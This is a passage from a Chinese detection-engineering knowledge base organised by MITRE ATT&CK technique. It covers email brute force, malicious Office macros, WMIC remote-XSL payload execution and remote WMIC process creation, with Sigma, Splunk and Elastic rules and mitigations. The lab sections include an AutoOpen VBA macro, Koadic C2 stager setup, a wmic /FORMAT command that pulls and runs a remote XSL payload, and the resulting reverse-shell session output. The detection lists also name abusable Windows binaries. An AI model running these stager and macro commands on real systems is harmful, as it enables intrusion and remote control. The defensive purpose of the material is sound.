检查服务器日志，验证是否记录认证失败和源IP。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n邮箱暴力破解可能在以下日志中留下痕迹：\n- **POP3**：\n  ```plaintext\n  -ERR Logon failure: unknown user name or bad password\n  ```\n- **SMTP**：\n  ```plaintext\n  535 5.7.3 Authentication unsuccessful\n  ```\n- **IMAP**：\n  ```plaintext\n  NO Logon failure: unknown user name or bad password\n  ```\n- **HTTP/HTTPS**：\n  - Web服务器日志记录高频登录请求，无302跳转或后续操作流量。\n  - 示例Nginx日志：\n    ```plaintext\n    192.168.1.100 - - [06/Jun/2025:20:34:00 +0000] \"POST /login.html HTTP/1.1\" 200 1234\n    ```\n- **HTTPS**：频繁的TLS握手（“Client Hello”、“Server Hello”），无后续数据交互。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析网络流量和服务器日志，检测高频认证失败或异常登录模式。以下是具体思路：\n\n1. **网络流量分析**：\n   - 监控POP3、SMTP、IMAP或HTTP/HTTPS流量的认证请求频率。\n   - 检测单一源IP在短时间内（如1分钟）发起多次登录失败。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 邮箱暴力破解攻击流量\n   id: 9c3d7e4f-2b1a-4f9e-a8d6-3e7b2c1d4f5e\n   status: experimental\n   description: 检测邮箱服务（POP3、SMTP、IMAP、HTTP/HTTPS）的高频认证失败流量\n   date: 2025/06/06\n   references:\n     - https://my.oschina.net/u/4395026/blog/3783867\n     - https://attack.mitre.org/techniques/T1190/\n   logsource:\n     category: network\n     product: any\n   detection:\n     selection_pop3:\n       dst_port: 110\n       response|contains: \"-ERR Logon failure\"\n     selection_smtp:\n       dst_port: [25, 587]\n       response|contains: \"535 5.7.3 Authentication unsuccessful\"\n     selection_imap:\n       dst_port: 143\n       response|contains: \"NO Logon failure\"\n     selection_http:\n       dst_port: [80, 443]\n       http_method: POST\n       http_uri|contains: [\"/login\", \"/owa\", \"/auth\"]\n       http_status: 200\n     timeframe: 1m\n     condition:\n       - selection_pop3 | count by src_ip > 10\n       - selection_smtp | count by src_ip > 10\n       - selection_imap | count by src_ip > 10\n       - selection_http | count by src_ip > 10\n   falsepositives:\n     - 用户输入错误密码的合法尝试\n     - 应用程序配置错误\n   level: high\n   ```\n\n3. **SIEM规则**：\n   - 检测单一源IP在短时间内的高频认证失败。\n   - 示例Splunk查询：\n     ```spl\n     source=\"network:traffic\" (dst_port=110 \"-ERR Logon failure\" OR dst_port IN (25, 587) \"535 5.7.3 Authentication unsuccessful\" OR dst_port=143 \"NO Logon failure\" OR dst_port IN (80, 443) \"POST /login\") | bucket _time span=1m | stats count by src_ip, dst_port | where count > 10\n     ```\n\n4. **WAF规则**：\n   - 配置Web应用程序防火墙，检测HTTP/HTTPS登录请求中的异常模式。\n   - 示例伪代码：\n     ```plaintext\n     if (request.uri contains \"/login\" and request.count > 10 in 60s) then\n       log \"Potential Brute Force\"\n       block\n     ```\n\n5. **威胁情报整合**：\n   - 检查触发高频认证失败的源IP是否与已知恶意IP相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御邮箱暴力破解需从访问控制、凭据保护和网络配置入手：\n\n1. **账户锁定策略**  \n   - 配置邮箱服务限制登录失败次数（如5次失败后锁定账户30分钟）。  \n   - 示例Exchange设置：\n     - 路径：`Exchange管理中心->安全->账户锁定策略`\n\n2. **多因素认证（MFA）**  \n   - 为邮箱服务启用MFA，降低凭据被盗后的风险。  \n   - 示例：为Microsoft 365启用Azure MFA。\n\n3. **网络访问控制**  \n   - 限制邮箱服务端口（如POP3:110、SMTP:25/587、IMAP:143）的公网访问，仅允许白名单IP。  \n   - 配置防火墙或WAF阻止高频登录尝试。\n\n4. **强密码策略**  \n   - 强制用户使用复杂密码并定期更换，避免弱密码或密码重用。  \n   - 示例Windows组策略设置：\n     - 路径：`计算机配置->Windows设置->安全设置->账户策略->密码策略`\n\n5. **用户教育**  \n   - 培训用户识别鱼叉式网络钓鱼，避免泄露凭据。  \n   - 教授用户定期检查账户活动，报告异常登录。\n\n### 检测\n\n检测工作应集中在高频认证失败和异常流量模式上，包括但不限于：  \n- **协议特定错误**：监控POP3、SMTP、IMAP日志中的认证失败消息（如“-ERR Logon failure”）。  \n- **HTTP/HTTPS流量**：检测登录页面高频请求，缺乏302跳转或后续操作流量。  \n- **行为分析**：通过SIEM或EDR，检测单一源IP的高频认证尝试或异常登录模式。  \n- **威胁情报整合**：结合威胁情报，检查触发认证失败的源IP是否与已知攻击者相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1190  \n  <https://attack.mitre.org/techniques/T1190/>  \n- 现场取证之流量分析总结  \n  <https://my.oschina.net/u/4395026/blog/3783867>  \n"
  },
  {
    "path": "Windows/03初始访问/T1566.001-Win-可疑的MS Office子进程.md",
    "content": "# T1566.001-Win-可疑的MS Office子进程\n\n# 描述\n\n攻击者可能通过发送带有恶意附件的鱼叉式电子邮件（Spearphishing Attachment）实现对受害者系统的初始访问（T1566.001）。这些附件通常包含恶意软件，利用社会工程学诱导用户打开附件并触发执行。恶意附件可能伪装为Microsoft Office文档（如Word、Excel、PowerPoint）、PDF、可执行文件或压缩文件。打开附件后，恶意代码可能利用漏洞或直接在用户系统上执行，绕过安全防护措施。\n\n攻击者通常通过精心设计的电子邮件内容，提供看似合理的理由诱导用户打开附件，并可能包含绕过系统保护的说明（如启用宏、解密zip文件密码）。文件扩展名和图标可能被操纵，使恶意文件伪装成合法文档。MS Office应用程序（如`winword.exe`、`excel.exe`）启动异常子进程（如`cmd.exe`、`powershell.exe`）是鱼叉式网络钓鱼攻击的常见迹象，可能表明宏或脚本执行了恶意操作。\n\n## 测试案例\n\n1. **恶意Word文档执行宏**  \n   攻击者发送带有恶意宏的Word文档，用户启用宏后，`winword.exe`启动`powershell.exe`执行恶意脚本。\n\n2. **Excel文档触发命令行**  \n   攻击者通过Excel文档中的VBA宏启动`cmd.exe`，下载并运行恶意可执行文件。\n\n## 检测日志\n\n**Windows安全日志和Sysmon日志**  \n检测MS Office启动的可疑子进程依赖以下日志来源：\n- **Windows安全日志**：\n  - 事件ID 4688：记录进程创建，包含父进程和子进程信息。\n- **Sysmon日志**：\n  - 事件ID 1：记录进程创建，包含详细的命令行参数和父进程信息。\n- **应用程序日志**：Office应用程序可能记录宏执行或异常行为。\n\n## 测试复现\n\n1. **环境准备**：\n   - 部署Windows测试主机，安装Microsoft Office（如Word、Excel）。\n   - 配置Sysmon和Windows安全日志，记录进程创建（事件ID 4688、Sysmon ID 1）。\n   - 示例Sysmon配置：\n     ```xml\n     <Sysmon schemaversion=\"4.81\">\n       <EventFiltering>\n         <ProcessCreate onmatch=\"include\">\n           <ParentImage condition=\"end with\">winword.exe</ParentImage>\n           <ParentImage condition=\"end with\">excel.exe</ParentImage>\n         </ProcessCreate>\n       </EventFiltering>\n     </Sysmon>\n     ```\n\n2. **模拟攻击**：\n   - 创建包含恶意宏的Word文档，启动`cmd.exe`或`powershell.exe`。\n   - 示例VBA宏：\n     ```vba\n     Sub AutoOpen()\n       Shell \"cmd.exe /c whoami\", vbHide\n     End Sub\n     ```\n   - 发送测试邮件，附件为恶意文档，模拟用户打开并启用宏。\n\n3. **验证日志**：\n   - 检查Sysmon日志（事件ID 1）或Windows安全日志（事件ID 4688），确认`winword.exe`是否启动了可疑子进程（如`cmd.exe`）。\n   - 示例日志：\n     ```plaintext\n     Process Create:\n     Image: C:\\Windows\\System32\\cmd.exe\n     ParentImage: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n     CommandLine: cmd.exe /c whoami\n     ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n可疑的MS Office子进程可能在以下日志中留下痕迹：\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  A new process has been created.\n  Subject:\n    Security ID:  WIN-R9H529RIO4Y\\Administrator\n    Account Name:  Administrator\n    Account Domain:  WIN-R9H529RIO4Y\n    Logon ID:  0x1fd23\n  Process Information:\n    New Process ID:  0xed0\n    New Process Name: C:\\Windows\\System32\\cmd.exe\n    Creator Process ID: 0x8c0\n    Creator Process Name: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n    Process Command Line: cmd.exe /c whoami\n  ```\n- **Sysmon日志（事件ID 1）**：\n  - 记录父进程（如`winword.exe`）启动可疑子进程（如`powershell.exe`、`certutil.exe`）。\n- **网络日志**：记录子进程引发的网络活动（如下载恶意文件）。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测MS Office应用程序启动的可疑子进程。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取父进程为MS Office应用程序（如`winword.exe`、`excel.exe`）的记录。\n   - 检测子进程是否为异常工具（如`cmd.exe`、`powershell.exe`、`certutil.exe`）。\n\n2. **Elastic规则**：\n   ```plaintext\n   event.action:\"Process Create (rule: ProcessCreate)\" and\n   process.parent.name:(eqnedt32.exe or excel.exe or fltldr.exe or\n   msaccess.exe or mspub.exe or powerpnt.exe or winword.exe) and\n   process.name:(Microsoft.Workflow.Compiler.exe or arp.exe or\n   atbroker.exe or bginfo.exe or bitsadmin.exe or cdb.exe or certutil.exe\n   or cmd.exe or cmstp.exe or cscript.exe or csi.exe or dnx.exe or\n   dsget.exe or dsquery.exe or forfiles.exe or fsi.exe or ftp.exe or\n   gpresult.exe or hostname.exe or ieexec.exe or iexpress.exe or\n   installutil.exe or ipconfig.exe or mshta.exe or msxsl.exe or\n   nbtstat.exe or net.exe or net1.exe or netsh.exe or netstat.exe or\n   nltest.exe or odbcconf.exe or ping.exe or powershell.exe or pwsh.exe\n   or qprocess.exe or quser.exe or qwinsta.exe or rcsi.exe or reg.exe or\n   regasm.exe or regsvcs.exe or regsvr32.exe or sc.exe or schtasks.exe or\n   systeminfo.exe or tasklist.exe or tracert.exe or whoami.exe or\n   wmic.exe or wscript.exe or xwizard.exe)\n   ```\n\n3. **Sigma规则**：\n   ```yaml\n   title: 可疑的MS Office子进程\n   id: 5c7d8e9f-3a2b-4c1d-a8e4-1f2e3c4d5e6f\n   status: stable\n   description: 检测MS Office应用程序启动可疑子进程，可能表明鱼叉式网络钓鱼攻击\n   date: 2025/06/06\n   references:\n     - https://attack.mitre.org/techniques/T1566/001/\n     - https://www.elastic.co/guide/en/siem/guide/current/suspicious-ms-office-child-process.html\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       ParentImage|endswith:\n         - '\\eqnedt32.exe'\n         - '\\excel.exe'\n         - '\\fltldr.exe'\n         - '\\msaccess.exe'\n         - '\\mspub.exe'\n         - '\\powerpnt.exe'\n         - '\\winword.exe'\n       Image|endswith:\n         - '\\Microsoft.Workflow.Compiler.exe'\n         - '\\arp.exe'\n         - '\\atbroker.exe'\n         - '\\bginfo.exe'\n         - '\\bitsadmin.exe'\n         - '\\cdb.exe'\n         - '\\certutil.exe'\n         - '\\cmd.exe'\n         - '\\cmstp.exe'\n         - '\\cscript.exe'\n         - '\\csi.exe'\n         - '\\dnx.exe'\n         - '\\dsget.exe'\n         - '\\dsquery.exe'\n         - '\\forfiles.exe'\n         - '\\fsi.exe'\n         - '\\ftp.exe'\n         - '\\gpresult.exe'\n         - '\\hostname.exe'\n         - '\\ieexec.exe'\n         - '\\iexpress.exe'\n         - '\\installutil.exe'\n         - '\\ipconfig.exe'\n         - '\\mshta.exe'\n         - '\\msxsl.exe'\n         - '\\nbtstat.exe'\n         - '\\net.exe'\n         - '\\net1.exe'\n         - '\\netsh.exe'\n         - '\\netstat.exe'\n         - '\\nltest.exe'\n         - '\\odbcconf.exe'\n         - '\\ping.exe'\n         - '\\powershell.exe'\n         - '\\pwsh.exe'\n         - '\\qprocess.exe'\n         - '\\quser.exe'\n         - '\\qwinsta.exe'\n         - '\\rcsi.exe'\n         - '\\reg.exe'\n         - '\\regasm.exe'\n         - '\\regsvcs.exe'\n         - '\\regsvr32.exe'\n         - '\\sc.exe'\n         - '\\schtasks.exe'\n         - '\\systeminfo.exe'\n         - '\\tasklist.exe'\n         - '\\tracert.exe'\n         - '\\whoami.exe'\n         - '\\wmic.exe'\n         - '\\wscript.exe'\n         - '\\xwizard.exe'\n     condition: selection\n   falsepositives:\n     - 合法的Office自动化脚本\n     - 管理员运行的测试或维护任务\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测MS Office进程启动可疑子进程。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 ParentImage IN (\"*\\\\winword.exe\", \"*\\\\excel.exe\", \"*\\\\powerpnt.exe\", \"*\\\\msaccess.exe\", \"*\\\\mspub.exe\", \"*\\\\eqnedt32.exe\", \"*\\\\fltldr.exe\") Image IN (\"*\\\\cmd.exe\", \"*\\\\powershell.exe\", \"*\\\\certutil.exe\", \"*\\\\whoami.exe\") | stats count by ParentImage, Image, CommandLine, ComputerName\n     ```\n\n5. **威胁情报整合**：\n   - 检查子进程的命令行参数（如URL、IP）是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御鱼叉式网络钓鱼附件和可疑MS Office子进程需从邮件安全和系统加固入手：\n\n1. **邮件安全控制**  \n   - 部署邮件网关，过滤包含恶意附件的鱼叉式网络钓鱼邮件。  \n   - 阻止或沙箱可疑附件（如Office文档、压缩文件）。  \n   - 示例工具：Microsoft Defender for Office 365、Proofpoint。\n\n2. **Office宏限制**  \n   - 禁用Office宏，或仅允许签名宏运行。  \n   - 示例Windows组策略设置：\n     - 路径：`用户配置->管理模板->Microsoft Word->信任中心->宏设置->禁用所有宏`\n\n3. **应用程序白名单**  \n   - 配置应用程序白名单，限制未经授权的子进程运行。  \n   - 示例工具：Windows AppLocker、CrowdStrike。\n\n4. **用户教育**  \n   - 培训用户识别鱼叉式网络钓鱼邮件，避免打开未知附件或启用宏。  \n   - 教授用户验证邮件发件人和附件安全性。\n\n5. **系统加固**  \n   - 保持Office和Windows系统更新，修补已知漏洞。  \n   - 启用ASLR和DEP，降低漏洞利用的成功率。\n\n### 检测\n\n检测工作应集中在MS Office子进程的异常行为上，包括但不限于：  \n- **进程监控**：分析Sysmon或Windows安全日志，检测MS Office进程启动的可疑子进程（如`cmd.exe`、`powershell.exe`）。  \n- **网络行为**：监控子进程引发的异常网络活动（如下载恶意文件）。  \n- **行为分析**：通过EDR检测宏执行或异常Office行为。  \n- **威胁情报整合**：结合威胁情报，检查子进程的命令行参数是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1566.001  \n  <https://attack.mitre.org/techniques/T1566/001/>  \n- 检测可疑的MS Office子进程  \n  <https://www.elastic.co/guide/en/siem/guide/current/suspicious-ms-office-child-process.html>"
  },
  {
    "path": "Windows/04执行/T1047-win-使用Wmic执行payload(白名单).md",
    "content": "# T1047-Win-使用WMIC执行payload（白名单）\n\n## 描述\n\n攻击者可能利用Windows Management Instrumentation（WMI）与本地或远程系统交互，执行多种策略功能，如信息收集、远程命令执行或横向移动（T1047）。WMI是Windows管理功能的核心组件，提供统一的环境来访问系统组件，依赖WMI服务（`winmgmt`）以及SMB（端口445）和RPC（端口135）进行远程访问。\n\nWMIC（WMI Command-line）是WMI的命令行接口，允许攻击者通过脚本或命令行调用WMI功能。攻击者可能利用WMIC执行恶意Payload，例如通过`/FORMAT`参数加载远程XSL文件或直接运行命令。由于WMIC是Windows内置工具，属于白名单进程，其行为可能被误认为是合法操作，从而增加检测难度。常见的攻击场景包括下载恶意脚本、启动恶意进程或建立反弹Shell。\n\n## 测试案例\n\nWmic.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Wmic调用。\n\nWindows 2003 默认位置：\n\n```dos\nC:\\WINDOWS\\system32\\wbem\\wmic.exe\nC:\\WINDOWS\\SysWOW64\\wbem\\wmic.exe\n```\n\nWindows 7 默认位置：\n\n```dos\nC:\\Windows\\System32\\wbem\\WMIC.exe\nC:\\Windows\\SysWOW64\\wbem\\WMIC.exe\n```\n\n补充说明：在高版本操作系统中，可以通过配置策略，对进程命令行参数进行记录。日志策略开启方法：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`，同样也可以在不同版本操作系统中部署sysmon，通过sysmon日志进行监控。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含WMIC的命令行参数和子进程信息。\n- **事件ID 4624/4625**：记录登录成功或失败，可能涉及WMI远程访问的凭据使用。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含WMIC的完整命令行和父进程信息。\n- **事件ID 3**：记录网络连接，可能涉及WMIC加载远程XSL文件的HTTP请求。\n\n**配置日志记录**  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon以增强进程和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n\n攻击机：Kali2019\n\n靶机：win7\n\n### 攻击分析\n\n#### Koadic\n\n通过Koadic发起Wmic.exe攻击\n\nkoadic是一个命令控制（C2）工具，类似Metasploit和Powershell Empire。使用koadic我们生成恶意XSL文件。koadic安装完成后，您可以运行./koadic文件以启动koadic，然后通过运行以下命令开始加载stager/js/wmic程序，并将SRVHOST设置为程序回连IP。\n\n```bash\ngit clone https://github.com/zerosum0x0/koadic.git  #安装命令\ncd koadic\npip3 install -r requirements.txt\n```\n\n```bash\n#加载载荷\n./koadic\n(koadic: sta/js/mshta)# use stager/js/wmic\n(koadic: sta/js/wmic)# set SRVHOST 192.168.126.146\n[+] SRVHOST => 192.168.126.146\n(koadic: sta/js/wmic)# run\n[+] Spawned a stager at http://192.168.126.146:9996/6G69i.xsl\n[>] wmic os get /FORMAT:\"http://192.168.126.146:9996/6G69i.xsl\"\n```\n\n#### 靶机执行payload\n\n执行WMIC以下命令，从远程服务器下载和运行恶意XSL文件：\n\n```cmd\nwmic os get /FORMAT:\"http://192.168.126.146:9996/6G69i.xsl\"\n```\n\n靶机测试结果\n\n```dos\nC:\\Users\\12306Br0>wmic os get /FORMAT:\"http://192.168.126.146:9996/6G69i.xsl\"\n  os get /FORMAT:\"http://192.168.126.146:9996/6G69i.xsl\"12306BR0-PCroot\\cimv2roo\nt\\cliIMPERSONATEPKTPRIVACYms_804ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\\Device\\Hardd\niskVolume17601Multiprocessor FreeMicrosoft Windows 7 旗舰版 93686Win32_Operating\nSystemWin32_ComputerSystemService Pack 112306BR0-PC480TRUETRUETRUE2FALSEFALSE256\n29608362009844309911620200305144428.000000+48020200305151330.500000+480202004171\n72815.995000+4800804Microsoft Corporation-18589934464zh-CNMicrosoft Windows 7 旗\n舰版 |C:\\Windows|\\Device\\Harddisk0\\Partition2422164-bit205225618TRUE112306Br0004\n26-292-0000007-85792102343416OK272\\Device\\HarddiskVolume2C:\\Windows\\system32C:44\n4004820966326.1.7601C:\\Windows\n```\n\n#### 反弹shell\n\n一旦恶意的XSL文件在目标计算机上执行，将有一个连接，就像Metasploit回连的情况一样。\n\n```bash\n[+] Zombie 0: Staging new connection (192.168.126.149) on Stager 0\n[+] Zombie 0: 12306Br0-PC\\12306Br0 @ 12306BR0-PC -- Windows 7 Ultimate\n[!] Zombie 0: Timed out.\n[+] Zombie 0: Re-connected.\n(koadic: sta/js/wmic)# zombies 0\n\n        ID:                     0\n        Status:                 Alive\n        First Seen:             2020-04-17 17:28:31\n        Last Seen:              2020-04-17 17:29:04\n        Listener:               0\n\n        IP:                     192.168.126.149\n        User:                   12306Br0-PC\\12306Br0\n        Hostname:               12306BR0-PC\n        Primary DC:             Unknown\n        OS:                     Windows 7 Ultimate\n        OSBuild:                7601\n        OSArch:                 64\n        Elevated:               No\n\n        User Agent:             Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\n        Session Key:            02149f1202e3437ab7932672c0c9e6b5\n\n        JOB  NAME                            STATUS    ERRNO\n        ---- ---------                       -------   -------\n```\n\n## 测试留痕\n\n```log\n# sysmon日志\nEventID: 1\nImage: C:\\Windows\\System32\\wbem\\WMIC.exe\nFileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)\nDescription: WMI Commandline Utility\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: wmic.exe\nCommandLine: wmic  os get /FORMAT:\"http://192.168.126.146:9996/6G69i.xsl\"\n\n# win7安全日志\nEventID：4688\n进程信息:\n新进程 ID: 0x888\n新进程名: 'C:\\Windows\\System32\\wbem\\WMIC.exe'\n```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测WMIC执行可疑命令或加载远程资源的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取WMIC进程（`wmic.exe`）的命令行参数。\n   - 检测可疑行为，如加载远程XSL文件（`/FORMAT:http`）、创建进程（`process call create`）或执行异常命令。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 可疑的WMIC Payload执行\n   id: 4e7b8c9d-3f2a-4b1c-a9e4-1f2d3c4e5f6b\n   status: experimental\n   description: 检测WMIC执行可疑命令或加载远程XSL文件，可能表明恶意Payload执行\n   date: 2025/06/06\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith: '\\wmic.exe'\n       CommandLine|contains:\n         - '/FORMAT:http'\n         - 'process call create'\n         - 'node'\n         - 'alias'\n     condition: selection\n   falsepositives:\n     - 合法的WMIC管理脚本\n     - 管理员运行的维护任务\n   level: high\n   ```\n\n3. **SIEM规则**：\n   - 检测WMIC加载远程资源或启动可疑进程。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\wmic.exe\" (CommandLine=\"*/FORMAT:http*\" OR CommandLine=\"*process call create*\") | stats count by Image, CommandLine, ComputerName\n     ```\n\n4. **网络流量分析**：\n   - 监控WMIC发起的HTTP请求，检测对可疑URL的访问。\n   - 示例Wireshark过滤器：\n     ```plaintext\n     http.request and ip.src == <target_ip> and http.request.uri contains \".xsl\"\n     ```\n\n5. **威胁情报整合**：\n   - 检查WMIC访问的URL或IP是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御WMIC滥用需从进程监控、访问控制和系统加固入手：\n\n1. **限制WMIC使用**  \n   - 配置应用程序白名单（如AppLocker），限制非授权用户运行`wmic.exe`。  \n   - 禁用WMI服务（`winmgmt`）或限制其远程访问，除非必要。\n\n2. **网络访问控制**  \n   - 限制WMI相关端口（SMB:445、RPC:135）的公网访问，仅允许白名单IP。  \n   - 配置防火墙阻止WMIC的异常HTTP请求。\n\n3. **凭据保护**  \n   - 启用多因素认证（MFA），降低凭据被盗导致的WMI远程访问风险。  \n   - 使用强密码策略，避免弱密码或密码重用。\n\n4. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1）监控。  \n   - 配置SIEM检测WMIC的异常命令行模式。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1047  \n  <https://attack.mitre.org/techniques/T1047/>  \n- Windows下基于白名单获取Shell的方法整理  \n  <http://www.safe6.cn/article/155>\n"
  },
  {
    "path": "Windows/04执行/T1047-win-通过WMIC创建远程进程.md",
    "content": "# T1047-Win-通过WMIC创建远程进程\n\n## 描述\n\n攻击者可能利用Windows Management Instrumentation（WMI）与本地或远程系统交互，执行多种战术功能，如信息收集、远程命令执行或横向移动（T1047）。WMI是Windows管理功能的核心组件，提供统一的环境来访问系统组件，依赖WMI服务（`winmgmt`）以及服务器消息块（SMB，端口445）和远程过程调用（RPC，端口135）进行远程访问。\n\nWMIC（WMI Command-line）是WMI的命令行接口，允许攻击者通过`wmic.exe`执行远程进程创建，例如使用`process call create`命令在目标主机上启动可执行文件或脚本。这种技术常用于横向移动，因为WMIC是Windows内置工具，属于白名单进程，难以被传统安全工具检测。攻击者可能通过构造类似`wmic.exe /node:\"<hostname>\" process call create \"<command>\"`的命令，远程执行恶意Payload。\n\n## 测试案例\n\n1. **远程执行恶意可执行文件**  \n   攻击者使用WMIC在远程主机上启动恶意可执行文件（如`malware.exe`），实现横向移动。\n\n2. **运行恶意脚本**  \n   攻击者通过WMIC远程调用PowerShell脚本，执行恶意操作，如下载Payload或建立反弹Shell。\n\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含WMIC的命令行参数、父进程和子进程信息。\n- **事件ID 4624/4625**：记录远程登录成功或失败，可能涉及WMI使用的凭据。\n  \n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含WMIC的完整命令行和父进程信息。\n- **事件ID 3**：记录网络连接，可能涉及WMI的SMB或RPC流量。\n- **事件ID 7**：记录模块加载，可能涉及加载恶意DLL。\n\n**网络日志**  \n- 记录SMB（端口445）或RPC（端口135）的异常流量，表明WMI远程访问。\n\n**配置日志记录**  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon以增强进程和网络活动监控。\n\n## 测试复现\n\n源主机执行：wmic.exe /node:\"\\<hostname\\>\" process\n\n![test](https://s2.ax1x.com/2019/12/10/QDncB4.png)\n\n## 测试留痕\n\n事件ID，进程命令行参数，进程名称\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测WMIC远程创建进程的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取WMIC进程（`wmic.exe`）的命令行参数。\n   - 检测包含`/node`和`process call create`的命令，表明远程进程创建。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 通过WMIC创建远程进程\n   id: 6a7b8c9d-4f2a-4b1c-a9e5-1f2e3c4d5e6f\n   status: stable\n   description: 检测WMIC通过远程进程创建执行命令，可能表明横向移动\n   author: 12306Bro\n   date: 2025/06/06\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID: 4688 # 进程创建\n       Image|endswith: '\\wmic.exe'\n       CommandLine|contains:\n         - '/node:'\n         - 'process call create'\n     condition: selection\n   falsepositives:\n     - 合法的WMI管理脚本\n     - 管理员运行的远程维护任务\n   level: medium\n   ```\n\n3. **SIEM规则**：\n   - 检测WMIC的远程进程创建行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\wmic.exe\" CommandLine=\"*/node:*process call create*\" | stats count by Image, CommandLine, ComputerName, User\n     ```\n\n4. **网络流量分析**：\n   - 监控SMB（端口445）和RPC（端口135）的异常流量，检测WMI远程连接。\n   - 示例Wireshark过滤器：\n     ```plaintext\n     tcp.port == 445 or tcp.port == 135 and ip.src == <attacker_ip>\n     ```\n\n5. **威胁情报整合**：\n   - 检查WMIC命令的目标主机或命令行参数是否涉及已知恶意IP/文件，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御WMIC远程进程创建需从访问控制、权限管理和监控入手：\n\n1. **限制WMI访问**  \n   - 配置防火墙，限制SMB（端口445）和RPC（端口135）的外部访问，仅允许白名单IP。  \n   - 禁用WMI服务（`winmgmt`）或限制其远程访问，除非必要。\n\n2. **应用程序白名单**  \n   - 使用AppLocker或类似工具，限制非授权用户运行`wmic.exe`。  \n\n3. **凭据保护**  \n   - 启用多因素认证（MFA），降低凭据被盗导致的WMI远程访问风险。  \n   - 使用强密码策略，避免弱密码或密码重用。\n\n4. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1）监控。  \n   - 配置SIEM检测WMIC的`/node`和`process call create`命令。\n\n### 检测\n\n检测工作应集中在WMIC的远程进程创建行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测WMIC的`/node`和`process call create`命令。  \n- **网络流量分析**：监控SMB和RPC端口的异常连接，识别WMI远程访问。  \n- **行为分析**：通过EDR检测WMIC执行后的异常活动（如启动恶意进程）。  \n- **威胁情报整合**：结合威胁情报，检查目标主机或命令行参数是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1047  \n  <https://attack.mitre.org/techniques/T1047/>  \n- CAR-2016-03-002: 通过WMIC创建远程进程  \n  <https://car.mitre.org/analytics/CAR-2016-03-002/>  \n- WMIC命令收集与整理  \n  <https://blog.csdn.net/qq_20307987/article/details/7322203>  \n- WMIC内网使用  \n  <https://www.cnblogs.com/0xdd/p/11393392.html>\n"
  },
  {
    "path": "Windows/04执行/T1053.002-Win-交互式at计划任务.md",
